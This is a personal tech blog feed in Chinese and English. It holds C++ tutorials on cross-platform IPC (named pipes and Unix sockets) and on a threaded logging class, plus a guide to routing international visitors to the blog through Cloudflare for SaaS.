https://learn.microsoft.com/zh-cn/windows/win32/ipc/anonymous-pipes
https://learn.microsoft.com/zh-cn/windows/win32/ipc/named-pipes
https://www.cnblogs.com/alantu2018/p/8493809.html
https://blog.csdn.net/dog250/article/details/100998838

Cross-Platform Service Programming Diary Ep.2 - Inter-Process Communication (IPC)

Mon, 19 May 2025 03:54:00 GMT

Previously

The previous article implemented unified log management. This article implements inter-process message communication, i.e., IPC.

Analysis

Windows

On Windows, inter-process communication is primarily achieved through Pipes. Pipes are further divided into Named Pipes and Anonymous Pipes. Anonymous pipes are unidirectional and are typically used for communication between a parent and child process[2]. Named pipes, however, can be unidirectional or duplex and support one-to-many communication[3]. As the name implies, the only way to identify a named pipe is by its name, so two processes can communicate as long as they connect to the named pipe with the same name.
We need to achieve bidirectional communication between processes, so we use named pipes. The general idea is: a process starts in server mode (receiver), creates a thread, creates a named pipe, and listens for messages within the pipe. When the pipe is connected, it reads data from it; when a process starts as a sender, it attempts to connect to a pipe with the same name and writes the message content.

Linux

On Linux, sockets are typically used for inter-process communication. However, unlike listening on a port, IPC usually involves listening on a sock file[5]. Common service applications like the Docker daemon and MySQL use this method.
Thus, the general idea is as follows: a process started in server mode creates a socket listener and waits to receive messages from it; the sender connects to the socket and sends a message. Similar to the name of the named pipe mentioned above, the socket maps to a unique .sock file. The sender just needs to open this file to send the message. (In practice, it's not opened in the conventional file manner but using socket-specific methods[5].)

Code Implementation

Initialization

To use a common main codebase, I used the same approach as the previous article, differentiating system types via macro definitions, placing the Windows and Linux code in the header files service-windows.h and service-linux.h respectively:

#ifdef _WIN32
#include "service-windows.h"
#elif defined(__linux__)
#include "service-linux.h"
#endif

When the receiver process starts, it creates a thread to handle message reception (using std::thread as the multithreading library):

thread_bind = std::thread(bind_thread_main);

Listener Section

Windows

On Windows, we simply attempt to read data from a named pipe with a specified name. Because the pipe is set to blocking mode (i.e., PIPE_WAIT is set in the DWORD dwPipeMode parameter of CreateNamedPipe below), ConnectNamedPipe will be blocking, so there's no need to worry about performance loss from constant looping.

void bind_thread_main() {
    while (!exit_requested.load()) {
        HANDLE hPipe = CreateNamedPipe(
            PIPE_NAME,
            PIPE_ACCESS_DUPLEX,
            PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
            PIPE_UNLIMITED_INSTANCES,
            1024,  // Output buffer size
            1024,  // Input buffer size
            0,     // Default timeout
            NULL);

        if (hPipe == INVALID_HANDLE_VALUE) {
            service_log.push(LEVEL_WARN, "Failed to create pipe: %d", GetLastError());
            continue;
        }

        if (ConnectNamedPipe(hPipe, NULL) ||
            GetLastError() == ERROR_PIPE_CONNECTED) {

            char buffer[1024];
            DWORD bytesRead;

            if (ReadFile(hPipe, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) {
                buffer[bytesRead] = '\0';
                m_queueMsg.push(buffer);
                service_log.push(LEVEL_VERBOSE, "Message received: %s", buffer);
            }

            FlushFileBuffers(hPipe);
            DisconnectNamedPipe(hPipe);
            CloseHandle(hPipe);
        }
        else {
            CloseHandle(hPipe);
        }
    }
}

Linux

To prevent creation failure, the code attempts to delete any leftover sock file that wasn't cleaned up before creation, i.e., unlink(SOCKET_PATH) in the code. SOCKET_PATH is a global variable defining the path to the socket file. When creating the socket, the family is specified as AF_UNIX, indicating a UNIX socket (the .sock file type; for network sockets it would be AF_INET). The timeval code sets a timeout limit. If the accept function waits longer than the set SOCKET_TIMEOUT (in seconds), it will automatically stop blocking and return an error. After creating the socket, proceed with the normal setup for binding and listening.

void bind_thread_main() {
    unlink(SOCKET_PATH);

    int server_fd = socket(AF_UNIX, SOCK_STREAM, 0);
    if (server_fd == -1) {
        service_log.push(LEVEL_FATAL, "Failed to create socket");
        exit_requested.store(true);
        return;
    }

    struct timeval tv;
    tv.tv_sec = SOCKET_TIMEOUT;
    tv.tv_usec = 0;
    setsockopt(server_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

    sockaddr_un addr{};
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path) - 1);

    if (bind(server_fd, (sockaddr*)&addr, sizeof(addr)) == -1) {
        service_log.push(LEVEL_FATAL, "Bind failed");
        close(server_fd);
        exit_requested.store(true);
        return;
    }

    if (listen(server_fd, 5) == -1) {
        service_log.push(LEVEL_FATAL, "Listen failed");
        close(server_fd);
        exit_requested.store(true);
        return;
    }

    while (!exit_requested.load()) {
        int client_fd = accept(server_fd, nullptr, nullptr);
        if (client_fd != -1) {
            char buffer[1024];
            int bytes_read = read(client_fd, buffer, sizeof(buffer) - 1);
            if (bytes_read > 0) {
                buffer[bytes_read] = '\0';
                m_queueMsg.push(buffer);
                service_log.push(LEVEL_VERBOSE, "Message received: %s", buffer);
            }
            close(client_fd);
        }
        else {
            if (errno == EWOULDBLOCK || errno == EAGAIN) {
                continue;
            }
            service_log.push(LEVEL_WARN, "Failed to accept socket connection");
        }
    }
}

After reading a message, both code versions save the message to the blocking queue m_queueMsg.

Sender Section

Windows

Open the specified pipe and write the message content:

bool send_message(const std::string& msg) {
    if (!WaitNamedPipe(PIPE_NAME, NMPWAIT_WAIT_FOREVER)) {
        service_log.push(LEVEL_ERROR, "Failed to find valid pipe: %d", GetLastError());
        return false;
    }

    HANDLE hPipe = CreateFile(
        PIPE_NAME,
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (hPipe == INVALID_HANDLE_VALUE) {
        service_log.push(LEVEL_ERROR, "Failed to connect: %d", GetLastError());
        return false;
    }

    DWORD bytesWritten;
    if (WriteFile(hPipe, msg.c_str(), (DWORD)msg.size(), &bytesWritten, NULL)) {
        service_log.push(LEVEL_VERBOSE, "Message sent: %s", msg.c_str());
        CloseHandle(hPipe);
        return true;
    }
    else {
        service_log.push(LEVEL_ERROR, "Message (%s) send failed: %d", msg.c_str(),GetLastError());
        CloseHandle(hPipe);
        return false;
    }

}

Linux

Similarly, connect to the socket and send the data:

bool send_message(const std::string& msg) {
    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
    if (sock == -1) {
        service_log.push(LEVEL_ERROR, "Failed to create socket");
        return false;
    }

    sockaddr_un addr{};
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path) - 1);

    if (connect(sock, (sockaddr*)&addr, sizeof(addr)) == -1) {
        service_log.push(LEVEL_ERROR, "Connect failed");
        close(sock);
        return false;
    }

    if (write(sock, msg.c_str(), msg.size()) == -1) {
        service_log.push(LEVEL_ERROR, "Message send failed: %s", msg.c_str());
        close(sock);
        return false;
    }
    else {
        service_log.push(LEVEL_VERBOSE, "Message sent success: %s", msg.c_str());
        close(sock);
        return true;
    }
}

Cleanup

There's little to clean up on Windows, but on Linux, the socket file needs to be deleted:

unlink(SOCKET_PATH);

Demo Screenshots

Windows

Linux

Sample code download: IPCTest.zip

References:

https://learn.microsoft.com/zh-cn/windows/win32/ipc/pipes
https://learn.microsoft.com/zh-cn/windows/win32/ipc/anonymous-pipes
https://learn.microsoft.com/zh-cn/windows/win32/ipc/named-pipes
https://www.cnblogs.com/alantu2018/p/8493809.html
https://blog.csdn.net/dog250/article/details/100998838

为博客启用Cloudflare SaaS接入实现国际分流

Thu, 15 May 2025 13:59:00 GMT

虽然Cloudflare CDN在国内访问速度不尽人意，但是用作国际线路的解析内容还是很够用的。然而Cloudflare很早就取消了CNAME接入的方式，因此本文主要讨论通过SaaS接入，因此需要一张信用卡激活Cloudflare SaaS。

准备材料

有效信用卡，需要有卡号、安全码，或者绑定了信用卡的PayPal。若不超过100个自定义主机名的限制则不会产生扣费。
回退域名，和正常访问的域名不能是同一个（Cloudflare接入需要）
正常访问域名

为了实现分大陆、境外地区单独解析，用作正常访问的域名不可以通过Cloudflare接入。
本文正常访问的域名为：www.iyoroy.cn，回退域名为nekonya.cloud。

过程

回退域名接入

注册一个Cloudflare账户，按照官方教程将域名的DNS改到Cloudflare：

Plan选择Free计划即可：

按照要求修改NS记录：

等到NS记录生效，即可通过Cloudflare管理回退域DNS。

绑定信用卡，启用SaaS

进入回退域名的Cloudflare控制台，打开左侧SSL/TLS-自定义主机名，点击启用Cloudflare for SaaS：

填入你的信用卡信息并保存。接着激活SaaS计划：

创建回退域的解析、设置自定义主机名

进入左侧DNS-记录，创建一条解析，指向你的源服务器：此处我的回退域为cname.nekonya.cloud，解析类型是CNAME，但是A、AAAA记录是也是完全可以的。记得要打开Cloudflare代理以使用CF的CDN。

接着，进入左侧SSL/TLS-自定义主机名，回退源填刚刚添加的那条回退域下的解析，即cname.nekonya.cloud：

接着点击添加自定义主机名，并填写需要被访问的域名：证书验证方法推荐TXT记录，这样可以使用DCV委派（详见下文设置DCV委派章节）。

接着需要验证域名所有权，按照要求填写TXT记录（我已经配置过了，因此创建一条test做演示）：因为下文要通过DCV验证获取证书，此处并没有添加证书相应记录。若不使用DCV委派，则将证书相关记录也这样设置解析。

:::warning 注：在添加证书记录时务必不要刷新整个页面，不然解析记录内容会变。请使用选项内的刷新按钮。 :::

待主机名状态变为有效后即可删除这条（也许是几条）解析。

设置DCV委派

找到下方自定义主机名的 DCV 委派，复制其中提供的解析值，到你的访问域名控制台，添加一条CNAME记录，主机名为_acme-challenge.www（此处和你的访问域名有关，我的访问域名是www.iyoroy.cn因此就是www。若是其他域名如test.iyoroy.cn，就填写_acme-challenge.test），记录值为Cloudflare提供的解析值前面加上你的hostname，即test.iyoroy.cn.xxxxxxx.dcv.cloudflare.com。

设置CNAME解析

进入你的访问域名控制台，为你要访问的域名添加相应解析记录。需要保证境外解析出来的内容是上文设置的回退源：

如果正常，那么就能看到证书状态和域名状态都是有效：

可以看到：，测试时境外已经切换到Cloudflare：

本文使用的DNS管理系统为netcccyun/dnsmgr

Enabling Cloudflare SaaS Integration for International Traffic Routing on Your Blog

Thu, 15 May 2025 13:59:00 GMT

While Cloudflare CDN's performance within mainland China leaves much to be desired, it remains highly capable for serving content to international audiences. However, Cloudflare phased out the traditional CNAME setup method some time ago. This article focuses on achieving a similar outcome using SaaS (SSL for SaaS) integration, which requires a credit card for activation.

Prerequisites

A valid credit card (with card number, security code) or a linked PayPal account. Note: You will not be charged if you stay under the 100 custom hostname limit.
A Fallback Origin Domain – this must be different from your primary domain that visitors use to access your site (a requirement for Cloudflare setup).
Your Primary Domain (the domain your visitors use).

To implement separate DNS resolution for mainland China and other regions, the primary domain used for normal access should not be added to Cloudflare directly via the usual "Add a Site" method.
In this guide, the primary domain is: www.iyoroy.cn, and the fallback domain is: nekonya.cloud.

Process

Adding the Fallback Domain to Cloudflare

Select the Free plan:

Update your domain's nameservers at your registrar as instructed:

Wait for the nameserver changes to propagate. You can then manage the fallback domain's DNS through Cloudflare.

Adding Payment Method & Enabling SaaS

Inside the Cloudflare dashboard for your fallback domain, navigate to SSL/TLS -> Custom Hostnames. Click Enable Cloudflare for SaaS:

Enter your credit card information and save it. Then, proceed to activate the SaaS plan:

Creating DNS Record for Fallback Origin & Setting up Custom Hostnames

Go to DNS -> Records in your fallback domain's dashboard. Create a new record pointing to your origin server: Here, my fallback origin is cname.nekonya.cloud, using a CNAME record (A or AAAA records are also perfectly valid). Ensure the orange-cloud proxy is enabled to utilize Cloudflare's CDN.

Next, go back to SSL/TLS -> Custom Hostnames. In the Fallback Origin field, enter the record you just created (e.g., cname.nekonya.cloud):

Click Add Custom Hostname and enter your primary domain that visitors will use:
The TXT record method is recommended for Domain Control Validation (DCV), as it allows for DCV Delegation (see the next section).

You will now need to verify ownership by adding the provided TXT record(s) to your primary domain's DNS (this example shows a test record for demonstration, as the actual one was already configured):
Because we will use DCV delegation for ongoing certificate validation in the next step, do not add the specific certificate validation records here yet. If you were not using DCV delegation, you would add those records now.

:::warning Note: When adding certificate validation records, avoid refreshing the entire page, as the record contents might change. Use the refresh button within the options panel if needed. :::

Once the hostname status changes to Active, you can safely remove the temporary TXT (and potentially CNAME) record(s) you added for the initial verification.

Setting up DCV Delegation

Locate the DCV Delegation for Custom Hostnamessection further down the same page. Copy the provided CNAME value. Go to your primary domain's DNS management console and add a new CNAME record.

Hostname: _acme-challenge.www(This depends on your primary domain. For www.iyoroy.cn, it's _acme-challenge.www. For test.iyoroy.cn, it would be _acme-challenge.test).
Value: The value provided by Cloudflare, prefixed with your hostname (e.g., www.iyoroy.cn.xxxxxxxx.dcv.cloudflare.com).

Configuring CNAME Record for Traffic Routing

In your primary domain's DNS management console, add a CNAME record for the subdomain you are using (e.g., www). Configure your DNS provider's Geolocation or Split DNS features to ensure that:

Traffic from outside mainland China resolves to the Fallback Origin you set in Cloudflare (e.g., cname.nekonya.cloud).

If everything is configured correctly, you should see both the Certificate Status and Hostname Status as Active in the Custom Hostnames section:

Testing confirms that traffic from outside China is now routed through Cloudflare:

The DNS management system used in this article is netcccyun/dnsmgr

跨平台服务编写日记 Ep.1 统一的日志管理

Fri, 18 Apr 2025 16:19:00 GMT

前阵子心血来潮，想为在使用的一个跨平台的控制台服务类应用程序编写一个自己的管理程序，加一些功能。因而设计了一套简单的服务运行流程。

:::warning 本系列文章中的观点和方案为我根据自己已有的知识储备结合DeepSeek的帮助所归纳设计，并未经过严格测试，并不保证在生产环境中使用的可行性和稳定性 :::

大致思路

大致分为个线程，分别用作：

日志记录
目标应用实例管理，可能不止一个线程
监听IPC消息
处理IPC收到的消息（主进程）

本文着重讨论的是日志记录部分。

编写思路

为什么要给日志记录单开一个线程，个人考虑是因为本身就是多线程的架构，需要编写一个统一的日志记录模块。如果每个线程单独打印，则很有可能出现两个线程同时写入文件或者同时输出到控制台，造成日志混乱。

因此，日志记录大致思路就是：

定义一个队列，存储日志内容和等级
创建一个线程，不断地从线程中取出元素，根据设定的日志等级决定是否打印到控制台或者输出到文件
外部push日志内容到队列中

一些细节上的内容

保证可移植性，尽量使用STL库编写，如使用std::thread而不是pthread
保证线程安全，需要使用互斥锁之类的保护相应变量
让日志队列为空时线程等待，想到编写一个类似于Java下BlockingQueue的阻塞队列
指定一个日志等级，超过这个等级的日志才会被保存或者打印
通过va_list实现不定参数，使日志记录有sprintf的的使用体验

开始编写

有了上述思路，整体编写就很简单了。

BlockingQueue

~~偷懒了，这部分直接让DeepSeek写的~~ 为了实现一个多线程安全的阻塞队列，当队列为空时调用front()会阻塞直到其他线程添加元素，我们可以结合互斥锁（std::mutex）和条件变量（std::condition_variable）来同步线程操作。

代码实现

互斥锁（`std::mutex`）

所有对队列的操作（push、front、pop、empty）都需要先获取锁，确保同一时间只有一个线程能修改队列，避免数据竞争。

条件变量（`std::condition_variable`）

当调用front()时，如果队列为空，线程会通过cv_.wait()释放锁并阻塞，直到其他线程调用push()添加元素后，通过cv_.notify_one()唤醒一个等待线程。
cv_.wait()需配合std::unique_lock，并在等待时自动释放锁，避免死锁。
使用谓词检查（[this] { return !queue_.empty(); }）防止虚假唤醒。

元素获取与移除

front()返回队首元素的拷贝（而非引用），确保调用者获得数据时队列的锁已释放，避免悬空引用。
pop()需显式调用以移除元素，确保队列状态可控。

#include <queue>              // 队列
#include <mutex>              // 互斥锁
#include <condition_variable> // 条件变量

template<typename T>
class BlockingQueue {
public:
    // 向队列中添加元素
    void push(const T& item) {
        std::lock_guard<std::mutex> lock(mtx_);
        queue_.push(item);
        cv_.notify_one(); // 通知一个等待的线程
    }

    // 获取队首元素（阻塞直到队列非空）
    T front() {
        std::unique_lock<std::mutex> lock(mtx_);
        cv_.wait(lock, [this] { return !queue_.empty(); }); // 阻塞直到队列非空
        return queue_.front();
    }

    // 获取队首元素并移除
    T take() {
        std::unique_lock<std::mutex> lock(mtx_);
        cv_.wait(lock, [this] { return !queue_.empty(); });
        T item = std::move(queue_.front()); // 移动语义避免拷贝
        queue_.pop();
        return item;
    }

    // 移除队首元素（需外部调用，非阻塞）
    void pop() {
        std::lock_guard<std::mutex> lock(mtx_);
        if (!queue_.empty()) {
            queue_.pop();
        }
    }

    // 检查队列是否为空
    bool empty() const {
        std::lock_guard<std::mutex> lock(mtx_);
        return queue_.empty();
    }

private:
    mutable std::mutex mtx_;         // 互斥锁
    std::condition_variable cv_;     // 条件变量
    std::queue<T> queue_;            // 内部队列
};

Log类

Log.h

#pragma once
#include <iostream>
#include <fstream>
#include <cstring>
#include <thread>
#include <chrono>
#include <mutex>
#include <cstdio>
#include <cstdarg>
#include <atomic>

#include "BlockingQueue.h"

enum LogLevel {
	LEVEL_VERBOSE,LEVEL_INFO,LEVEL_WARN,LEVEL_ERROR,LEVEL_FATAL,LEVEL_OFF
};

struct LogMsg {
	short m_LogLevel;
	std::string m_strTimestamp;
	std::string m_strLogMsg;
};

class Log {
private:
	std::ofstream m_ofLogFile;        // 日志文件输出流
	std::mutex m_lockFile;            // 文件操作互斥锁
	std::thread m_threadMain;         // 后台日志处理线程
	BlockingQueue<LogMsg> m_msgQueue; // 线程安全阻塞队列
	short m_levelLog, m_levelPrint;   // 文件和控制台日志级别阈值
	std::atomic<bool> m_exit_requested{ false }; // 线程退出标志

	std::string getTime();            // 获取当前时间戳
	std::string level2str(short level, bool character_only); // 级别转字符串
	void logThread();                 // 后台线程函数

public:
	Log(short default_loglevel = LEVEL_WARN, short default_printlevel = LEVEL_INFO);
	~Log();
	void push(short level, const char* msg, ...); // 添加日志（支持格式化）
	void set_level(short loglevel, short printlevel); // 设置日志级别
	bool open(std::string filename);   // 打开日志文件
	bool close();                      // 关闭日志文件
};

Log.cpp

#include "Log.h"

std::string Log::getTime() {
	using sc = std::chrono::system_clock;
	std::time_t t = sc::to_time_t(sc::now());
	char buf[20];
#ifdef _WIN32
	std::tm timeinfo;
	localtime_s(&timeinfo,&t);
	sprintf_s(buf, "%04d.%02d.%02d-%02d:%02d:%02d", 
		timeinfo.tm_year + 1900,
		timeinfo.tm_mon + 1,
		timeinfo.tm_mday,
		timeinfo.tm_hour,
		timeinfo.tm_min,
		timeinfo.tm_sec
	);
#else
	strftime(buf, 20, "%Y.%m.%d-%H:%M:%S", localtime(&t));
#endif
	return buf;
}

std::string Log::level2str(short level, bool character_only)
{
	switch (level) {
	case LEVEL_VERBOSE: 
		return character_only ? "V" : "Verbose";
	case LEVEL_WARN:
		return character_only ? "W" : "Warning";
	case LEVEL_ERROR:
		return character_only ? "E" : "Error";
	case LEVEL_FATAL:
		return character_only ? "F" : "Fatal";
	}
	return character_only ? "I" : "Info";
}

void Log::logThread() {
	while (true) {
		LogMsg front = m_msgQueue.take(); // 阻塞直到有消息
		// 处理文件写入
		if (front.m_LogLevel >= m_levelLog) {
			std::lock_guard<std::mutex> lock(m_lockFile); // RAII 管理锁
			if (m_ofLogFile) {
				m_ofLogFile << front.m_strTimestamp << ' '
					<< level2str(front.m_LogLevel, true) << ": "
					<< front.m_strLogMsg << std::endl;
			}
		}
		// 处理控制台打印
		if (front.m_LogLevel >= m_levelPrint) {
			printf("%s %s: %s\n", front.m_strTimestamp.c_str(),
				level2str(front.m_LogLevel, true).c_str(),
				front.m_strLogMsg.c_str());
		}
		// 检查退出条件：队列为空且标志为真
		if (m_exit_requested.load() && m_msgQueue.empty()) break;
	}
	return;
}

Log::Log(short default_loglevel, short default_printlevel) {
	set_level(default_loglevel, default_printlevel);
	m_threadMain = std::thread(&Log::logThread, this);
}

Log::~Log() {
	m_exit_requested.store(true);
	m_msgQueue.push({ LEVEL_INFO, getTime(), "Exit." }); // 唤醒可能阻塞的线程
	if (m_threadMain.joinable()) m_threadMain.join();
	close(); // 确保文件关闭
}

void Log::push(short level, const char* msg, ...) {
	va_list args;
	va_start(args, msg);
	const int len = vsnprintf(nullptr, 0, msg, args);
	va_end(args);

	if (len < 0) return;

	std::vector<char> buf(len + 1);

	va_start(args, msg);
	vsnprintf(buf.data(), buf.size(), msg, args);
	va_end(args);

	m_msgQueue.push({level,getTime(),buf.data()});
}

void Log::set_level(short loglevel, short printlevel)
{
	m_levelLog = loglevel;
	m_levelPrint = printlevel;
}

bool Log::open(std::string filename) {
	m_lockFile.lock();
	m_ofLogFile.open(filename.c_str(), std::ios::out);
	m_lockFile.unlock();
	return (bool)m_ofLogFile;
}

bool Log::close() {
	m_lockFile.lock();
	m_ofLogFile.close();
	m_lockFile.unlock();
	return false;
}

说明

类/结构说明

LogLevel 枚举定义日志级别：VERBOSE, INFO, WARN, ERROR, FATAL, OFF。 OFF不应被用于记录的日志等级，仅用于当需要关闭日志记录时将阈值设置为该项以实现所有日志都不记录
LogMsg 结构体封装日志消息：

m_LogLevel：日志级别。
m_strTimestamp：时间戳字符串。
m_strLogMsg：日志内容。

成员变量说明

变量	说明
m_ofLogFile	文件输出流，用于写入日志文件。
m_lockFile	互斥锁，保护文件操作。
m_threadMain	后台线程，处理日志消息的消费。
m_msgQueue	阻塞队列，存储待处理的日志消息。
m_levelLog	写入文件的最低日志级别（高于此级别的消息会被记录）。
m_levelPrint	打印到控制台的最低日志级别。
m_exit_requested	原子标志，控制日志线程退出。

函数说明

函数	说明
getTime	获取当前时间戳字符串（跨平台实现）。
level2str	将日志级别转换为字符串（如 LEVEL_INFO → "I" 或 "Info"）。
logThread	后台线程函数：消费队列消息，写入文件或打印。
构造函数	初始化日志级别，启动后台线程。
析构函数	设置退出标志，等待线程结束，确保处理剩余消息。
push	格式化日志消息（支持可变参数）并推入队列。
set_level	动态设置日志级别和打印级别。
open/close	打开/关闭日志文件。

完整代码及测试样例下载： demo.zip

Cross-Platform Service Programming Diary Ep.1 - Unified Logging Management

Fri, 18 Apr 2025 16:19:00 GMT

A while ago, on a whim, I decided to write my own management program for a cross-platform console service-class application I was using, in order to add some features. Thus, I designed a simple service operation flow.

:::warning The views and solutions in this series of articles are designed by me based on my existing knowledge combined with assistance from DeepSeek. They have not been rigorously tested and do not guarantee feasibility or stability for use in production environments. :::

General Approach

Roughly divided into several threads, used for:

Logging
Target application instance management (potentially more than one thread)
Listening for IPC messages
Processing received IPC messages (main process)

This article focuses on the logging part.

Design Rationale

Why dedicate a separate thread to logging? My consideration is that since it's inherently a multi-threaded architecture, a unified logging module is necessary. If each thread prints independently, it's highly likely that two threads could write to the file or output to the console simultaneously, causing log chaos.

Therefore, the general idea for logging is:

Define a queue to store log content and level.
Create a thread that continuously takes elements from the queue, deciding whether to print to the console or output to a file based on the set log level.
External components push log content to the queue.

Some Detailed Considerations

Ensure portability by using the STL library as much as possible, e.g., using std::thread instead of pthread.
Ensure thread safety, requiring protection of relevant variables with mutexes or similar mechanisms.
Make the thread wait when the log queue is empty; thought of writing a blocking queue similar to Java's BlockingQueue.
Specify a log level; only logs with a level meeting or exceeding this threshold will be saved or printed.
Implement variadic arguments via va_list to give the logging function a usage experience similar to sprintf.

Start Coding

With the above approach, the overall coding becomes quite simple.

BlockingQueue

~~Got lazy here, let DeepSeek write this part directly~~ To implement a multi-thread-safe blocking queue where calling front() blocks until another thread adds an element, we can combine a mutex (std::mutex) and a condition variable (std::condition_variable) to synchronize thread operations.

Code Implementation

Mutex (`std::mutex`)

All operations on the queue (push、front、pop、empty) need to acquire the lock first, ensuring only one thread can modify the queue at a time and avoiding data races.

Condition Variable (`std::condition_variable`)

When front() is called and the queue is empty, the thread releases the lock and blocks via cv_.wait(), until another thread calls push() to add an element and wakes up one waiting thread via cv_.notify_one().
cv_.wait() needs to be used with std::unique_lock and automatically releases the lock while waiting to avoid deadlocks.
Uses a predicate check ([this] { return !queue_.empty(); }) to prevent spurious wakeups.

Element Retrieval and Removal

front() returns a copy of the front element (not a reference), ensuring the caller gets the data after the queue's lock is released, avoiding dangling references.
pop() must be called explicitly to remove the element, ensuring controllable queue state.

#include <queue>              // queue
#include <mutex>              // mutex
#include <condition_variable> // condition_variable

template<typename T>
class BlockingQueue {
public:
    // Add an element to the queue
    void push(const T& item) {
        std::lock_guard<std::mutex> lock(mtx_);
        queue_.push(item);
        cv_.notify_one(); // Notify one waiting thread
    }

    // Get the front element (blocks until queue is not empty)
    T front() {
        std::unique_lock<std::mutex> lock(mtx_);
        cv_.wait(lock, [this] { return !queue_.empty(); }); // Block until queue not empty
        return queue_.front();
    }

    // Get and remove the front element
    T take() {
        std::unique_lock<std::mutex> lock(mtx_);
        cv_.wait(lock, [this] { return !queue_.empty(); });
        T item = std::move(queue_.front()); // Use move semantics to avoid copy
        queue_.pop();
        return item;
    }

    // Remove the front element (requires external call, non-blocking)
    void pop() {
        std::lock_guard<std::mutex> lock(mtx_);
        if (!queue_.empty()) {
            queue_.pop();
        }
    }

    // Check if the queue is empty
    bool empty() const {
        std::lock_guard<std::mutex> lock(mtx_);
        return queue_.empty();
    }

private:
    mutable std::mutex mtx_;         // Mutex
    std::condition_variable cv_;     // Condition variable
    std::queue<T> queue_;            // Internal queue
};

Log Class

Log.h

#pragma once
#include <iostream>
#include <fstream>
#include <cstring>
#include <thread>
#include <chrono>
#include <mutex>
#include <cstdio>
#include <cstdarg>
#include <atomic>

#include "BlockingQueue.h"

enum LogLevel {
	LEVEL_VERBOSE,LEVEL_INFO,LEVEL_WARN,LEVEL_ERROR,LEVEL_FATAL,LEVEL_OFF
};

struct LogMsg {
	short m_LogLevel;
	std::string m_strTimestamp;
	std::string m_strLogMsg;
};

class Log {
private:
	std::ofstream m_ofLogFile;        // Log file output stream
	std::mutex m_lockFile;            // File operation mutex
	std::thread m_threadMain;         // Background log processing thread
	BlockingQueue<LogMsg> m_msgQueue; // Thread-safe blocking queue
	short m_levelLog, m_levelPrint;   // File and console log level thresholds
	std::atomic<bool> m_exit_requested{ false }; // Thread exit flag

	std::string getTime();            // Get current timestamp
	std::string level2str(short level, bool character_only); // Level to string
	void logThread();                 // Background thread function

public:
	Log(short default_loglevel = LEVEL_WARN, short default_printlevel = LEVEL_INFO);
	~Log();
	void push(short level, const char* msg, ...); // Add log (supports formatting)
	void set_level(short loglevel, short printlevel); // Set log levels
	bool open(std::string filename);   // Open log file
	bool close();                      // Close log file
};

Log.cpp

#include "Log.h"

std::string Log::getTime() {
	using sc = std::chrono::system_clock;
	std::time_t t = sc::to_time_t(sc::now());
	char buf[20];
#ifdef _WIN32
	std::tm timeinfo;
	localtime_s(&timeinfo,&t);
	sprintf_s(buf, "%04d.%02d.%02d-%02d:%02d:%02d", 
		timeinfo.tm_year + 1900,
		timeinfo.tm_mon + 1,
		timeinfo.tm_mday,
		timeinfo.tm_hour,
		timeinfo.tm_min,
		timeinfo.tm_sec
	);
#else
	strftime(buf, 20, "%Y.%m.%d-%H:%M:%S", localtime(&t));
#endif
	return buf;
}

std::string Log::level2str(short level, bool character_only)
{
	switch (level) {
	case LEVEL_VERBOSE: 
		return character_only ? "V" : "Verbose";
	case LEVEL_WARN:
		return character_only ? "W" : "Warning";
	case LEVEL_ERROR:
		return character_only ? "E" : "Error";
	case LEVEL_FATAL:
		return character_only ? "F" : "Fatal";
	}
	return character_only ? "I" : "Info";
}

void Log::logThread() {
	while (true) {
		LogMsg front = m_msgQueue.take(); // Block until a message arrives
		// Handle file writing
		if (front.m_LogLevel >= m_levelLog) {
			std::lock_guard<std::mutex> lock(m_lockFile); // RAII manage lock
			if (m_ofLogFile) {
				m_ofLogFile << front.m_strTimestamp << ' '
					<< level2str(front.m_LogLevel, true) << ": "
					<< front.m_strLogMsg << std::endl;
			}
		}
		// Handle console printing
		if (front.m_LogLevel >= m_levelPrint) {
			printf("%s %s: %s\n", front.m_strTimestamp.c_str(),
				level2str(front.m_LogLevel, true).c_str(),
				front.m_strLogMsg.c_str());
		}
		// Check exit condition: queue is empty and flag is true
		if (m_exit_requested.load() && m_msgQueue.empty()) break;
	}
	return;
}

Log::Log(short default_loglevel, short default_printlevel) {
	set_level(default_loglevel, default_printlevel);
	m_threadMain = std::thread(&Log::logThread, this);
}

Log::~Log() {
	m_exit_requested.store(true);
	m_msgQueue.push({ LEVEL_INFO, getTime(), "Exit." }); // Wake potentially blocked thread
	if (m_threadMain.joinable()) m_threadMain.join();
	close(); // Ensure file is closed
}

void Log::push(short level, const char* msg, ...) {
	va_list args;
	va_start(args, msg);
	const int len = vsnprintf(nullptr, 0, msg, args);
	va_end(args);

	if (len < 0) return;

	std::vector<char> buf(len + 1);

	va_start(args, msg);
	vsnprintf(buf.data(), buf.size(), msg, args);
	va_end(args);

	m_msgQueue.push({level,getTime(),buf.data()});
}

void Log::set_level(short loglevel, short printlevel)
{
	m_levelLog = loglevel;
	m_levelPrint = printlevel;
}

bool Log::open(std::string filename) {
	m_lockFile.lock();
	m_ofLogFile.open(filename.c_str(), std::ios::out);
	m_lockFile.unlock();
	return (bool)m_ofLogFile;
}

bool Log::close() {
	m_lockFile.lock();
	m_ofLogFile.close();
	m_lockFile.unlock();
	return false;
}

Explanation

Class/Structure Explanation

LogLevel Enum Defines log levels: VERBOSE, INFO, WARN, ERROR, FATAL, OFF。 OFF should not be used as a level for recorded logs, only for setting the threshold when needing to disable all logging.
LogMsg Struct Encapsulates a log message:

m_LogLevel: The log level.
m_strTimestamp: Timestamp string.
m_strLogMsg: The log content.

Member Variable Explanation

Variable	Explanation
`m_ofLogFile`	File output stream for writing to the log file.
`m_lockFile`	Mutex protecting file operations.
`m_threadMain`	Background thread handling consumption of log messages.
`m_msgQueue`	Blocking queue storing pending log messages.
`m_levelLog`	Minimum log level for writing to file (messages with level >= this are recorded).
`m_levelPrint`	Minimum log level for printing to console.
`m_exit_requested`	Atomic flag controlling log thread exit.

Function Explanation

Function	Explanation
`getTime`	Gets the current timestamp string (cross-platform implementation).
`level2str`	Converts log level to string (e.g., LEVEL_INFO → "I" or "Info").
`logThread`	Background thread function: consumes queue messages, writes to file or prints.
Constructor	Initializes log levels, starts the background thread.
Destructor	Sets exit flag, waits for thread to finish, ensures remaining messages are processed.
`push`	Formats log message (supports variadic arguments) and pushes to the queue.
